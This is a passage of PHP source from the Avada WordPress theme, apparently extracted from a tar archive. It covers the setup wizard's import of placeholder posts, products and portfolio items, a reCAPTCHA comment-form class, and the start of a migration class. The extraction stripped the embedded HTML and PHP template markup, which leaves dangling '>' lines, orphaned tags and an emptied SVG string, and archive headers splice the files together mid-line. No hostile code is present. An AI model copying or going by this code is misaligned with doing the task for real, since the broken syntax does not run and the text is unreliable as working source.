wp_remote_retrieve_response_code( $response ); if ( 200 !== $response_code ) { $this->typo_data = []; return $this->typo_data; } // Parse response. $data = wp_remote_retrieve_body( $response ); // Check for error. if ( '' !== $data ) { $this->typo_data = json_decode( $data, true ); return $this->typo_data; } } return []; } /** * Render header specifically for wizard. * * @param string $screen_classes Classes for page. * @return void */ public function render_header( $screen_classes ) { ?>

    $title, 'post_status' => 'publish', 'post_type' => 'fusion_tb_layout', ]; $layout_id = wp_insert_post( $layout, true ); if ( is_wp_error( $layout_id ) ) { $error_string = $layout_id->get_error_message(); die( wp_json_encode( $error_string ) ); } $content = [ 'template_terms' => $template_terms, 'conditions' => $conditions, ]; Fusion_Template_Builder::update_layout_content( $layout_id, $content ); fusion_reset_all_caches(); return $layout_id; } /** * Insert post. * * @access public * @since 7.7 * @param string $title Post title. * @param string $content Post content. * @param string $post_type Post type. */ public function insert_post( $title, $content, $post_type ) { $args = [ 'post_title' => $title, 'post_content' => $content, 'post_type' => $post_type, 'post_status' => 'publish', ]; $post_id = wp_insert_post( $args, true ); if ( is_wp_error( $post_id ) ) { $error_string = $post_id->get_error_message(); die( wp_json_encode( $error_string ) ); } $new_post = [ 'post_id' => $post_id, ]; return $new_post; } /** * Import dummy content. * * @access public * @since 7.7 * @param array $pages The selected pages. * @param mixed $scheme The scheme. */ public function import_dummy_content( $pages, $scheme ) { // Placeholder Image. $placeholder_image = get_template_directory_uri() . '/assets/images/avada-placeholder.png'; $placeholder_image_id = get_option( 'avada_setup_placeholder_image', 0 ); if ( ! $placeholder_image_id ) { $image = media_sideload_image( $placeholder_image, 0, null, 'id' ); if ( ! is_wp_error( $image ) ) { $placeholder_image_id = $image; update_option( 'avada_setup_placeholder_image', $image ); } } // upload placeholder SVG. $placeholder_bg_color = isset( $scheme['color2']['color'] ) ? $scheme['color2']['color'] : '#FAFAFA'; if ( $this->dark ) { $placeholder_bg_color = isset( $scheme['color6']['color'] ) ? $scheme['color6']['color'] : '#222222'; } // Blog posts. $blog = array_search( 'blog', array_column( $pages, 'id' ), true ); if ( $blog ) { $in_post_image = AWB_Studio_Import()->generate_dynamic_placeholder( [ 'width' => 800, 'height' => 600, 'color' => $placeholder_bg_color, ] ); $posts_content = '[fusion_builder_container type=\"flex\" hundred_percent=\"no\" hundred_percent_height=\"no\" hundred_percent_height_scroll=\"no\" align_content=\"stretch\" flex_align_items=\"flex-start\" flex_justify_content=\"flex-start\" hundred_percent_height_center_content=\"yes\" equal_height_columns=\"no\" container_tag=\"div\" hide_on_mobile=\"small-visibility,medium-visibility,large-visibility\" status=\"published\" border_style=\"solid\" box_shadow=\"no\" box_shadow_blur=\"0\" box_shadow_spread=\"0\" gradient_start_position=\"0\" gradient_end_position=\"100\" gradient_type=\"linear\" radial_direction=\"center center\" linear_angle=\"180\" background_position=\"center center\" background_repeat=\"no-repeat\" fade=\"no\" background_parallax=\"none\" enable_mobile=\"no\" parallax_speed=\"0.3\" background_blend_mode=\"none\" video_aspect_ratio=\"16:9\" video_loop=\"yes\" video_mute=\"yes\" absolute=\"off\" absolute_devices=\"small,medium,large\" sticky=\"off\" sticky_devices=\"small-visibility,medium-visibility,large-visibility\" sticky_transition_offset=\"0\" scroll_offset=\"0\" animation_direction=\"left\" animation_speed=\"0.3\" filter_hue=\"0\" filter_saturation=\"100\" filter_brightness=\"100\" filter_contrast=\"100\" filter_invert=\"0\" filter_sepia=\"0\" filter_opacity=\"100\" filter_blur=\"0\" filter_hue_hover=\"0\" filter_saturation_hover=\"100\" filter_brightness_hover=\"100\" filter_contrast_hover=\"100\" filter_invert_hover=\"0\" filter_sepia_hover=\"0\" filter_opacity_hover=\"100\" filter_blur_hover=\"0\"][fusion_builder_row][fusion_builder_column type=\"1_1\" layout=\"1_1\" align_self=\"auto\" content_layout=\"column\" align_content=\"flex-start\" valign_content=\"flex-start\" content_wrap=\"wrap\" center_content=\"no\" target=\"_self\" hide_on_mobile=\"small-visibility,medium-visibility,large-visibility\" sticky_display=\"normal,sticky\" order_medium=\"0\" order_small=\"0\" padding_right=\"60px\" padding_left=\"60px\" hover_type=\"none\" border_style=\"solid\" box_shadow=\"no\" box_shadow_blur=\"0\" box_shadow_spread=\"0\" background_type=\"single\" gradient_start_position=\"0\" gradient_end_position=\"100\" gradient_type=\"linear\" radial_direction=\"center center\" linear_angle=\"180\" background_position=\"left top\" background_repeat=\"no-repeat\" background_blend_mode=\"none\" filter_type=\"regular\" filter_hue=\"0\" filter_saturation=\"100\" filter_brightness=\"100\" filter_contrast=\"100\" filter_invert=\"0\" filter_sepia=\"0\" filter_opacity=\"100\" filter_blur=\"0\" filter_hue_hover=\"0\" filter_saturation_hover=\"100\" filter_brightness_hover=\"100\" filter_contrast_hover=\"100\" filter_invert_hover=\"0\" filter_sepia_hover=\"0\" filter_opacity_hover=\"100\" filter_blur_hover=\"0\" animation_direction=\"left\" animation_speed=\"0.3\" margin_bottom=\"65px\" margin_bottom_small=\"35px\" last=\"true\" border_position=\"all\" min_height=\"\" link=\"\" first=\"true\"][fusion_text rule_style=\"default\" animation_direction=\"left\" animation_speed=\"0.3\" hide_on_mobile=\"small-visibility,medium-visibility,large-visibility\" sticky_display=\"normal,sticky\" fusion_font_family_text_font=\"Lexend\" font_size=\"20px\" line_height=\"32px\" fusion_font_variant_text_font=\"300\"]Nam aliquet ante porta, gravida elit interdum, luctus porta sapien justo, at fringilla felis suscipit vestibulum volutpat metus. Praesent eu turpis ac mauris commodo interdum enim enim, bibendum a nisi vel.\r\n\r\nDonec sed mauris et ante tincidunt blandit. Sed quis tristique velit. Donec at convallis leo. Fusce semper hendrerit velit, ac lobortis elit aliquet nec. Mauris vehicula purus nunc, vel finibus velit ornare a. Proin cursus ullamcorper massa, nec laoreet justo malesuada vitae. Praesent dictum ultrices erat, eu rhoncus dolor ultrices ac. Duis accumsan vestibulum nunc quis pellentesque.\r\n\r\nIn ornare faucibus lacus, consequat ultrices arcu iaculis vitae. Suspendisse laoreet vel eros sit amet mollis. Aliquam erat volutpat.[/fusion_text][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container][fusion_builder_container type=\"flex\" hundred_percent=\"no\" hundred_percent_height=\"no\" hundred_percent_height_scroll=\"no\" align_content=\"stretch\" flex_align_items=\"flex-start\" flex_justify_content=\"flex-start\" hundred_percent_height_center_content=\"yes\" equal_height_columns=\"no\" container_tag=\"div\" hide_on_mobile=\"small-visibility,medium-visibility,large-visibility\" status=\"published\" border_style=\"solid\" box_shadow=\"no\" box_shadow_blur=\"0\" box_shadow_spread=\"0\" gradient_start_position=\"0\" gradient_end_position=\"100\" gradient_type=\"linear\" radial_direction=\"center center\" linear_angle=\"180\" background_position=\"center center\" background_repeat=\"no-repeat\" fade=\"no\" background_parallax=\"none\" enable_mobile=\"no\" parallax_speed=\"0.3\" background_blend_mode=\"none\" video_aspect_ratio=\"16:9\" video_loop=\"yes\" video_mute=\"yes\" absolute=\"off\" absolute_devices=\"small,medium,large\" sticky=\"off\" sticky_devices=\"small-visibility,medium-visibility,large-visibility\" sticky_transition_offset=\"0\" scroll_offset=\"0\" animation_direction=\"left\" animation_speed=\"0.3\" filter_hue=\"0\" filter_saturation=\"100\" filter_brightness=\"100\" filter_contrast=\"100\" filter_invert=\"0\" filter_sepia=\"0\" filter_opacity=\"100\" filter_blur=\"0\" filter_hue_hover=\"0\" filter_saturation_hover=\"100\" filter_brightness_hover=\"100\" filter_contrast_hover=\"100\" filter_invert_hover=\"0\" filter_sepia_hover=\"0\" filter_opacity_hover=\"100\" filter_blur_hover=\"0\" margin_bottom=\"45px\"][fusion_builder_row][fusion_builder_column type=\"1_1\" layout=\"1_1\" align_self=\"auto\" content_layout=\"column\" align_content=\"flex-start\" valign_content=\"flex-start\" content_wrap=\"wrap\" center_content=\"no\" target=\"_self\" hide_on_mobile=\"small-visibility,medium-visibility,large-visibility\" sticky_display=\"normal,sticky\" order_medium=\"0\" order_small=\"0\" hover_type=\"none\" border_style=\"solid\" box_shadow=\"no\" box_shadow_blur=\"0\" box_shadow_spread=\"0\" background_type=\"single\" gradient_start_position=\"0\" gradient_end_position=\"100\" gradient_type=\"linear\" radial_direction=\"center center\" linear_angle=\"180\" background_position=\"left top\" background_repeat=\"no-repeat\" background_blend_mode=\"none\" filter_type=\"regular\" filter_hue=\"0\" filter_saturation=\"100\" filter_brightness=\"100\" filter_contrast=\"100\" filter_invert=\"0\" filter_sepia=\"0\" filter_opacity=\"100\" filter_blur=\"0\" filter_hue_hover=\"0\" filter_saturation_hover=\"100\" filter_brightness_hover=\"100\" filter_contrast_hover=\"100\" filter_invert_hover=\"0\" filter_sepia_hover=\"0\" filter_opacity_hover=\"100\" filter_blur_hover=\"0\" animation_direction=\"left\" animation_speed=\"0.3\" spacing_left=\"0%\" spacing_right=\"0%\" margin_bottom=\"65px\" margin_bottom_small=\"50px\" last=\"true\" border_position=\"all\" min_height=\"\" link=\"\" first=\"true\"][fusion_imageframe src="' . $in_post_image . '"][/fusion_imageframe][/fusion_builder_column][fusion_builder_column type=\"1_1\" layout=\"1_1\" align_self=\"auto\" content_layout=\"column\" align_content=\"flex-start\" valign_content=\"flex-start\" content_wrap=\"wrap\" center_content=\"no\" target=\"_self\" hide_on_mobile=\"small-visibility,medium-visibility,large-visibility\" sticky_display=\"normal,sticky\" order_medium=\"0\" order_small=\"0\" padding_right=\"60px\" padding_left=\"60px\" hover_type=\"none\" border_style=\"solid\" box_shadow=\"no\" box_shadow_blur=\"0\" box_shadow_spread=\"0\" background_type=\"single\" gradient_start_position=\"0\" gradient_end_position=\"100\" gradient_type=\"linear\" radial_direction=\"center center\" linear_angle=\"180\" background_position=\"left top\" background_repeat=\"no-repeat\" background_blend_mode=\"none\" filter_type=\"regular\" filter_hue=\"0\" filter_saturation=\"100\" filter_brightness=\"100\" filter_contrast=\"100\" filter_invert=\"0\" filter_sepia=\"0\" filter_opacity=\"100\" filter_blur=\"0\" filter_hue_hover=\"0\" filter_saturation_hover=\"100\" filter_brightness_hover=\"100\" filter_contrast_hover=\"100\" filter_invert_hover=\"0\" filter_sepia_hover=\"0\" filter_opacity_hover=\"100\" filter_blur_hover=\"0\" animation_direction=\"left\" animation_speed=\"0.3\" margin_bottom=\"0px\" last=\"true\" border_position=\"all\" min_height=\"\" link=\"\" first=\"true\"][fusion_text rule_style=\"default\" animation_direction=\"left\" animation_speed=\"0.3\" hide_on_mobile=\"small-visibility,medium-visibility,large-visibility\" sticky_display=\"normal,sticky\" fusion_font_family_text_font=\"Lexend\" font_size=\"20px\" line_height=\"32px\" fusion_font_variant_text_font=\"300\"]Nam aliquet ante porta, gravida elit interdum, luctus porta sapien justo, at fringilla felis suscipit vestibulum volutpat metus. Praesent eu turpis ac mauris commodo interdum enim enim, bibendum a nisi vel.\r\n\r\nDonec sed mauris et ante tincidunt blandit. Sed quis tristique velit. Donec at convallis leo. Fusce semper hendrerit velit, ac lobortis elit aliquet nec. Mauris vehicula purus nunc, vel finibus velit ornare a. Proin cursus ullamcorper massa, nec laoreet justo malesuada vitae. Praesent dictum ultrices erat, eu rhoncus dolor ultrices ac. Duis accumsan vestibulum nunc quis pellentesque.\r\n\r\nIn ornare faucibus lacus, consequat ultrices arcu iaculis vitae. Suspendisse laoreet vel eros sit amet mollis. Aliquam erat volutpat.[/fusion_text][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]'; // Add post categories. $cats = [ 'Animals', 'Architecture', 'Business', 'Fitness', 'Nutrition', 'Real Estate', 'Sports', 'Technology', ]; $cats_ids = []; foreach ( $cats as $cat ) { $new_cat = wp_insert_term( $cat, 'category' ); if ( ! is_wp_error( $new_cat ) ) { $cats_ids[ $new_cat['term_id'] ] = $new_cat; } } // Add posts. $posts = [ [ 'title' => 'Aliquam congue semper metus', ], [ 'title' => 'Cras suscipit ante erat eleifend', ], [ 'title' => 'Vivamus ut magna turpis', ], [ 'title' => 'Fusce cursus dolor sit amet', ], [ 'title' => 'Aliquam luctus sem massa', ], [ 'title' => 'Aenean consectetur tempor metus', ], [ 'title' => 'Malesuada Mauris Blandit', ], [ 'title' => 'Nulla porttitor accumsan tincidunt mauris blandit.', ], [ 'title' => 'How Avada Can Become Your Full-Fledged Webinar Hub', ], [ 'title' => 'How to Use Instagram Feeds to Boost Traffic and Conversions', ], [ 'title' => 'Mauris blandit aliquet elit, eget tincidunt nibh', ], [ 'title' => 'Curabitur arcu erat, accumsan id imperdiet et, porttitor', ], [ 'title' => 'Curabitur arcu erat, accumsan id imperdiet et, porttitor', ], [ 'title' => 'Proin eget tortor risus praesent sapien massa', ], ]; foreach ( $posts as $post ) { $new_post = wp_insert_post( [ 'post_title' => $post['title'], 'post_content' => $posts_content, 'post_status' => 'publish', 'post_type' => 'post', 'post_category' => array_rand( $cats_ids, 2 ), ], true ); if ( ! is_wp_error( $new_post ) ) { // import flag. update_post_meta( $new_post, '_fusion_setup_wizard_import', true ); // Post Feature Image. if ( $placeholder_image_id ) { set_post_thumbnail( $new_post, $placeholder_image_id ); } } } } // Shop poroducts. $shop = array_search( 'shop', array_column( $pages, 'id' ), true ); if ( $shop && class_exists( 'WooCommerce' ) ) { $products_content = 'Cras ultricies ligula sed magna dictum porta. Mauris blandit aliquet elit, eget tincidunt nibh pulvinar a. Donec rutrum congue leo eget malesuada.'; $products_short_desc = 'Donec sollicitudin molestie malesuada. Mauris blandit aliquet elit, eget tincidunt nibh pulvinar a mauris blandit aliquet elit.'; // Add post categories. $cats = [ 'Camping', 'Clothes', 'Mat', 'Shop', 'Technology', ]; $cats_ids = []; foreach ( $cats as $cat ) { $new_cat = wp_insert_term( $cat, 'product_cat' ); if ( ! is_wp_error( $new_cat ) ) { $cats_ids[ $new_cat['term_id'] ] = $new_cat; } } $products = [ [ 'title' => 'Bottle', 'price' => '19', ], [ 'title' => 'Backpack', 'price' => '49', 'featured' => true, ], [ 'title' => 'Coffee Pot', 'price' => '39', ], [ 'title' => 'Camera', 'price' => '230', 'sale_price' => '199', 'featured' => true, ], [ 'title' => 'Computer Monitor', 'price' => '499', 'sale_price' => '399', 'featured' => true, ], [ 'title' => 'Tablet Pro', 'price' => '799', 'sale_price' => '599', 'fetured' => true, ], [ 'title' => 'Smart Watch Pro', 'price' => '599', 'sale_price' => '299', ], ]; foreach ( $products as $product ) { $new_product = wp_insert_post( [ 'post_title' => $product['title'], 'post_content' => $products_content, 'post_status' => 'publish', 'post_type' => 'product', 'post_excerpt' => $products_short_desc, ], true ); if ( ! is_wp_error( $new_product ) ) { // import flag. update_post_meta( $new_product, '_fusion_setup_wizard_import', true ); // Feature Image. if ( $placeholder_image_id ) { set_post_thumbnail( $new_product, $placeholder_image_id ); } // Product custom data. $product_object = function_exists( 'wc_get_product' ) ? wc_get_product( $new_product ) : ''; $price = isset( $product['price'] ) ? $product['price'] : '99.00'; $sale_price = isset( $product['sale_price'] ) ? $product['sale_price'] : ''; $featured = isset( $product['featured'] ) ? $product['featured'] : ''; $gallery = [ $placeholder_image_id, $placeholder_image_id, $placeholder_image_id, $placeholder_image_id ]; if ( is_object( $product_object ) ) { $product_object->set_category_ids( [ array_rand( $cats_ids ) ] ); $product_object->set_regular_price( $price ); if ( $sale_price ) { $product_object->set_sale_price( $sale_price ); } if ( $featured ) { $product_object->set_featured( $featured ); } $product_object->set_gallery_image_ids( $gallery ); $product_object->save(); } } } } // Portfolio content. $portfolio = array_search( 'portfolio', array_column( $pages, 'id' ), true ); if ( $portfolio ) { $projects_content = '[fusion_builder_container type="flex" hundred_percent="no" equal_height_columns="no" hide_on_mobile="small-visibility,medium-visibility,large-visibility" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" parallax_speed="0.3" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" border_style="solid" padding_left="0px" padding_right="0px" admin_toggled="yes"][fusion_builder_row][fusion_builder_column type="1_1" layout="1_1" background_position="left top" border_style="solid" border_position="all" spacing="yes" background_repeat="no-repeat" margin_top="0px" margin_bottom="0px" animation_speed="0.3" animation_direction="left" hide_on_mobile="small-visibility,medium-visibility,large-visibility" center_content="no" last="true" hover_type="none" first="true" min_height="" link="" background_blend_mode="overlay"][fusion_title title_type="text" rotation_effect="bounceIn" display_time="1200" highlight_effect="circle" loop_animation="off" highlight_width="9" highlight_top_margin="0" title_link="off" link_target="_self" content_align="left" size="2" font_size="29px" text_shadow="no" text_shadow_blur="0" gradient_font="no" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" style_type="default" animation_direction="left" animation_speed="0.3" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" margin_bottom="25px" margin_bottom_small="25px"] About this project [/fusion_title][fusion_text margin_bottom="40px"] Quisque velit nisi, pretium ut lacinia in, elementum id enim. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Donec velit neque, auctor sit amet aliquam vel, ullamcorper sit amet ligula. Curabitur aliquet quam id dui posuere blandit. Nulla quis lorem ut libero malesuada feugiat. Donec sollicitudin molestie malesuada. [/fusion_text][fusion_button link="#" target="_self" color="default" button_gradient_top_color="var(--awb-color4)" button_gradient_bottom_color="var(--awb-color4)" button_gradient_top_color_hover="hsla(var(--awb-color4-h),var(--awb-color4-s),var(--awb-color4-l),calc( var(--awb-color4-a) - 95% ))" button_gradient_bottom_color_hover="hsla(var(--awb-color4-h),var(--awb-color4-s),var(--awb-color4-l),calc( var(--awb-color4-a) - 95% ))" accent_color="var(--awb-color1)" accent_hover_color="var(--awb-color4)" stretch="default" icon_position="left" icon_divider="no" animation_direction="left" animation_speed="0.3" hide_on_mobile="medium-visibility,large-visibility" sticky_display="normal,sticky" border_color="var(--awb-color1)" border_hover_color="var(--awb-color4)"]Visit This Project[/fusion_button][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]'; // Add portfolio categories. $cats = [ 'Branding', 'Logo Design', 'Packaging', 'Strategy', 'Studio Project', 'Technology', 'Website Design', ]; $cats_ids = []; foreach ( $cats as $cat ) { $new_cat = wp_insert_term( $cat, 'portfolio_category' ); if ( ! is_wp_error( $new_cat ) ) { $cats_ids[ $new_cat['term_id'] ] = $new_cat; } } $projects = [ [ 'title' => 'Aesthetic Interior', ], [ 'title' => 'Building a better website', ], [ 'title' => 'Package Design', ], [ 'title' => 'Creative Pitcher', ], [ 'title' => 'Abstract 3D shape', ], [ 'title' => 'Aesthetic websites', ], [ 'title' => 'Avada Interior Prebuilt Website', ], [ 'title' => 'Avada Fitness Prebuilt Website', ], [ 'title' => 'Avada Builder Prebuilt Website', ], ]; foreach ( $projects as $project ) { $new_post = wp_insert_post( [ 'post_title' => $project['title'], 'post_content' => $projects_content, 'post_status' => 'publish', 'post_type' => 'avada_portfolio', ], true ); if ( ! is_wp_error( $new_post ) ) { // import flag. update_post_meta( $new_post, '_fusion_setup_wizard_import', true ); // portfolio categories. wp_set_post_terms( $new_post, array_rand( $cats_ids ), 'portfolio_category' ); // Post Feature Image. if ( $placeholder_image_id ) { set_post_thumbnail( $new_post, $placeholder_image_id ); } } } } // Set import flag to avoid multiple content. update_option( 'avada_setup_wizard_dummy_content', true ); } /** * Update dummy conent feature images. * * @access public * @since 7.7 */ public function update_dummy_content_image() { $placeholder_image_id = get_option( 'avada_setup_placeholder_image', 0 ); if ( $placeholder_image_id ) { // get posts. $args = [ 'post_type' => 'any', 'meta_key' => '_fusion_setup_wizard_import', // phpcs:ignore WordPress.DB.SlowDBQuery 'meta_value' => true, // phpcs:ignore WordPress.DB.SlowDBQuery 'posts_per_page' => -1, // phpcs:ignore WPThemeReview.CoreFunctionality.PostsPerPage ]; $query = new WP_Query( $args ); foreach ( $query->posts as $post ) { set_post_thumbnail( $post->ID, $placeholder_image_id ); if ( 'product' === $post->post_type ) { $product_object = function_exists( 'wc_get_product' ) ? wc_get_product( $post->ID ) : ''; if ( is_object( $product_object ) ) { $product_object->set_gallery_image_ids( [ $placeholder_image_id ] ); $product_object->save(); } } } } } /** * Get dynamic ID, basically it used for layout conditions. * * @access public * @since 7.7 * @param string $page The selected pages. */ public function get_dynamic_id( $page ) { $id = ''; if ( 'cart_page' === $page ) { $id = get_option( 'woocommerce_cart_page_id' ); } elseif ( 'checkout_page' === $page ) { $id = get_option( 'woocommerce_checkout_page_id' ); } return $id; } /** * Set permalinks. * * @access public * @since 7.7 * @param mixed $scheme The scheme. */ public function svg_dynamic_placeholder( $scheme ) { // upload placeholder SVG. $placeholder_bg_color = isset( $scheme['color2']['color'] ) ? $scheme['color2']['color'] : '#FAFAFA'; $placeholder_logo_color = isset( $scheme['color4']['color'] ) ? $scheme['color4']['color'] : '#E0E0E0'; if ( $this->dark ) { $placeholder_bg_color = isset( $scheme['color6']['color'] ) ? $scheme['color6']['color'] : '#222222'; } $placeholder_image = ' '; $placeholder_file = wp_upload_bits( 'avada-placeholder.svg', null, $placeholder_image ); if ( empty( $placeholder_file['error'] ) && $placeholder_file['url'] ) { $placeholder_attachment_id = wp_insert_attachment( [ 'guid' => $placeholder_file['url'], 'post_mime_type' => 'image/svg+xml', 'post_title' => 'Avada-placeholder', 'post_content' => '', 'post_status' => 'inherit', ], $placeholder_file['file'], 0, true ); if ( ! is_wp_error( $placeholder_attachment_id ) && $placeholder_attachment_id ) { update_option( 'avada_setup_placeholder_image', $placeholder_attachment_id ); } } } /** * Setup wizard studio import options templates. * * @access public * @since 7.7 * @param mixed $layout The layout. * @param mixed $defaults The defaults. */ public static function studio_import_options_template( $layout = 'header', $defaults = [] ) { $type = isset( $defaults['overWriteType'] ) ? $defaults['overWriteType'] : 'inherit'; $images = isset( $defaults['images'] ) ? $defaults['images'] : 'do-import-images'; $invert = isset( $defaults['shouldInvert'] ) ? $defaults['shouldInvert'] : 'dont-invert'; ?>
    >
    >
    >
    >
    >
    >
    get_post_content( $id, $type ); $pattern = get_shortcode_regex( [ 'fusion_menu' ] ); preg_match( "/$pattern/", $content, $m ); $attr = shortcode_parse_atts( $m[3] ); $special_menu = ''; if ( isset( $attr['class'] ) && 'avada-flyout-menu' === $attr['class'] ) { $special_menu = 'flyout'; } if ( isset( $attr['class'] ) && 'avada-split-menu' === $attr['class'] ) { $special_menu = 'split'; } return $special_menu; } /** * Update fusion menu item meta. * * @access public * @since 7.7 * @param mixed $id The Id. * @param mixed $key The key. * @param mixed $value The value. */ public function update_fusion_menu_item_meta( $id, $key, $value ) { $fusion_meta = get_post_meta( $id, '_menu_item_fusion_megamenu', true ); $fusion_meta[ $key ] = $value; return update_post_meta( $id, '_menu_item_fusion_megamenu', $fusion_meta ); } } /** * Instantiates the Fusion_Template_Builder class. * Make sure the class is properly set-up. * * @since object 2.2 * @return object Fusion_App */ function AWB_Setup_Wizard() { // phpcs:ignore WordPress.NamingConventions return AWB_Setup_Wizard::get_instance(); } AWB_Setup_Wizard(); Avada/includes/class-awb-google-recaptcha.php000064400000031270152342437700015167 0ustar00counter = 1; if ( ! is_user_logged_in() && fusion_library()->get_option( 'recaptcha_comment_form' ) ) { add_action( 'comment_form_after_fields', [ $this, 'render_comment_form_recaptcha' ] ); add_action( 'pre_comment_on_post', [ $this, 'check_recaptcha_comment_form' ] ); } } /** * Render reCAPTCHA HTML on comment forms. * * @access public * @since 7.11.6 * @return void */ public function render_comment_form_recaptcha() { $this->render_field( [ 'counter' => $this->counter, 'element' => 'comments', 'wrapper_class' => 'form-creator-recaptcha', ] ); $recaptcha_error = ( isset( $_GET['recaptcha_error'] ) && '' !== $_GET['recaptcha_error'] ) ? sanitize_text_field( wp_unslash( $_GET['recaptcha_error'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification $type = ( isset( $_GET['type'] ) && '' !== $_GET['type'] ) ? sanitize_text_field( wp_unslash( $_GET['type'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification if ( $recaptcha_error && $type ) { echo do_shortcode( '[fusion_alert margin_top="20px" type="' . esc_attr( strip_shortcodes( $type ) ) . '"]' . esc_html( strip_shortcodes( $recaptcha_error ) ) . '[/fusion_alert]' ); } } /** * Check reCAPTCHA on comment forms. * * @since 7.11.6 * @access private * @param string $post_id current post id. * @return void */ public function check_recaptcha_comment_form( $post_id ) { if ( ! isset( $_POST['g-recaptcha-response'] ) || empty( $_POST['g-recaptcha-response'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification wp_safe_redirect( add_query_arg( [ 'type' => 'error', 'recaptcha_error' => __( 'Sorry, reCAPTCHA could not verify that you are a human. Please try again.', 'fusion-builder' ), ], esc_url( get_permalink( $post_id ) ) ) ); exit; } if ( isset( $_POST['g-recaptcha-response'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification if ( fusion_library()->get_option( 'recaptcha_public' ) && fusion_library()->get_option( 'recaptcha_private' ) ) { $response = $this->verify(); if ( is_array( $response ) && $response['has_error'] && $response['message'] ) { wp_safe_redirect( add_query_arg( [ 'type' => 'error', 'recaptcha_error' => $response['message'], ], esc_url( get_permalink( $post_id ) ) ) ); exit; } } else { wp_safe_redirect( add_query_arg( [ 'type' => 'error', 'recaptcha_error' => esc_html__( 'reCAPTCHA configuration error. Please check the Global Options settings and your reCAPTCHA account settings.', 'fusion-builder' ), ], esc_url( get_permalink( $post_id ) ) ) ); exit; } } } /** * Render reCAPTCHA field HTML. * * @access public * @since 7.11.6 * @param array $args params. * @return void */ public function render_field( $args = [] ) { $defaults = [ 'color_theme' => fusion_library()->get_option( 'recaptcha_color_scheme' ), 'badge_position' => fusion_library()->get_option( 'recaptcha_badge_position' ), 'tab_index' => '', 'counter' => $this->counter, 'element' => 'form', 'wrapper_class' => 'form-creator-recaptcha', ]; $args = wp_parse_args( $args, $defaults ); ?> get_option( 'recaptcha_public' ) && fusion_library()->get_option( 'recaptcha_private' ) ) : ?> get_option( 'recaptcha_version' ) ) : ?>
    counter ) { $this->enqueue_scripts(); } $this->counter++; } /** * Sets the necessary scripts. * * @access public * @since 7.11.6 * @return void */ public function enqueue_scripts() { // Add reCAPTCHA script. $fusion_settings = awb_get_fusion_settings(); if ( fusion_library()->get_option( 'recaptcha_public' ) && fusion_library()->get_option( 'recaptcha_private' ) && ! function_exists( 'recaptcha_get_html' ) && ! class_exists( 'ReCaptcha' ) ) { $recaptcha_script_uri = 'https://www.google.com/recaptcha/api.js?render=explicit&hl=' . get_locale() . '&onload=fusionOnloadCallback'; if ( 'v2' === fusion_library()->get_option( 'recaptcha_version' ) ) { $recaptcha_script_uri = 'https://www.google.com/recaptcha/api.js?hl=' . get_locale(); } wp_enqueue_script( 'recaptcha-api', $recaptcha_script_uri, [], Avada::get_theme_version(), false ); // Inline JS to render reCaptcha. add_action( 'wp_footer', [ $this, 'recaptcha_callback' ], 99 ); } } /** * Generate reCAPTCHA callback. * * @access public * @since 7.11.6 * @return void */ public function recaptcha_callback() { ?> false, 'message' => '', ]; require_once FUSION_LIBRARY_PATH . '/inc/recaptcha/src/autoload.php'; // We use a wrapper class to avoid fatal errors due to syntax differences on PHP 5.2. require_once FUSION_LIBRARY_PATH . '/inc/recaptcha/class-fusion-recaptcha.php'; // Instantiate recaptcha. $re_captcha_wrapper = new Fusion_ReCaptcha( fusion_library()->get_option( 'recaptcha_private' ) ); $re_captcha = $re_captcha_wrapper->recaptcha; if ( $re_captcha && isset( $_POST['g-recaptcha-response'] ) && ! empty( $_POST['g-recaptcha-response'] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput, WordPress.Security.NonceVerification $re_captcha_response = null; // Was there a reCAPTCHA response. $post_recaptcha_response = ( isset( $_POST['g-recaptcha-response'] ) ) ? trim( wp_unslash( $_POST['g-recaptcha-response'] ) ) : ''; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput, WordPress.Security.NonceVerification $server_remote_addr = ( isset( $_SERVER['REMOTE_ADDR'] ) ) ? trim( wp_unslash( $_SERVER['REMOTE_ADDR'] ) ) : ''; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput, WordPress.Security.NonceVerification if ( 'v2' === fusion_library()->get_option( 'recaptcha_version' ) ) { $re_captcha_response = $re_captcha->verify( $post_recaptcha_response, $server_remote_addr ); } else { $site_url = get_option( 'siteurl' ); $url_parts = wp_parse_url( $site_url ); $site_url = isset( $url_parts['host'] ) ? $url_parts['host'] : $site_url; $re_captcha_response = $re_captcha->setExpectedHostname( apply_filters( 'avada_recaptcha_hostname', $site_url ) )->setExpectedAction( 'contact_form' )->setScoreThreshold( fusion_library()->get_option( 'recaptcha_score' ) )->verify( $post_recaptcha_response, $server_remote_addr ); } // Check the reCAPTCHA response. if ( null === $re_captcha_response || ! $re_captcha_response->isSuccess() ) { $response = [ 'has_error' => true, 'message' => __( 'Sorry, reCAPTCHA could not verify that you are a human.', 'fusion-builder' ), ]; $error_codes = []; if ( null !== $re_captcha_response ) { $error_codes = $re_captcha_response->getErrorCodes(); } if ( empty( $error_codes ) || in_array( 'score-threshold-not-met', $error_codes, true ) ) { $response = [ 'has_error' => true, 'message' => __( 'Sorry, reCAPTCHA could not verify that you are a human.', 'fusion-builder' ), ]; } } } else { $response = [ 'has_error' => true, 'message' => __( 'Sorry, reCAPTCHA could not verify that you are a human.', 'fusion-builder' ), ]; } return $response; } /** * Returns a single instance of the object (singleton). * * @since 7.11.6 * @access public * @return object */ public static function get_instance() { if ( null === self::$instance ) { self::$instance = new AWB_Google_Recaptcha(); } return self::$instance; } } Avada/includes/class-avada-migrate.php000064400000045327152342437700013726 0ustar00 1024, 'm' => 1048576, 'g' => 1073741824, ]; $memory_last_char = substr( $memory, -1 ); if ( array_key_exists( strtolower( $memory_last_char ), $memory_shorthands ) ) { $memory = (int) str_replace( $memory_last_char, '', $memory ) * $memory_shorthands[ strtolower( $memory_last_char ) ]; } if ( 268435456 > $memory 